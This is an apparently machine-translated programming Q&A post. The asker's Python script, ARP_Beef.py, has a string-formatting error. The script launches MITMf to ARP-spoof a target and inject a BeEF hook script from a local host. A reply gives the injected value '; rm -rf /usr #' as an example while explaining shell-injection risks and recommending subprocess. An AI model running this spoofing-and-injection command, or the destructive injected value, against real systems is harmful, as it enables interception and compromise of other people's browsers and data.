0
一個命令時,「元組」
我的代碼是類型錯誤:爲%不受支持的操作數類型:「INT」和執行與蟒
#! /usr/bin/env python
ip_addr = raw_input('Enter your target: ')
gateway = raw_input('Enter your gateway: ')
import os
os.chdir('/usr/share/mitmf/')
os.system ('python mitmf.py --spoof --arp -i wlan0 --gateway %s --target %s --inject --js-url http://192.168.1.109:3000/hook.js') % (gateway, ip_addr)
和我的輸出是:
File "./ARP_Beef.py", line 6, in <module>
os.system ('python mitmf.py --spoof --arp -i wlan0 --gateway %s --target %s --inject --js-url http://192.168.1.109:3000/hook.js') % (gateway, ip_addr)
TypeError: unsupported operand type(s) for %: 'int' and 'tuple'
我對Python很新,希望有人能幫助我。
特別是,你要因爲你傳遞用戶提供串子進程使用'subprocess'(在'list'形式,以及默認的'殼= FALSE'行爲)。如果有人通過'; rm -rf/usr#'作爲一個命令,那麼,希望腳本沒有足夠的權限來運行'/ usr'。即使它們不是主動惡意的,shell元字符也會以合法名稱顯示,而正確轉義是一種痛苦。像'subprocess.call'這樣的'list'形式大致是簡單的,並且避免了在shell中執行字符串的開銷和安全/穩定性問題。 – ShadowRanger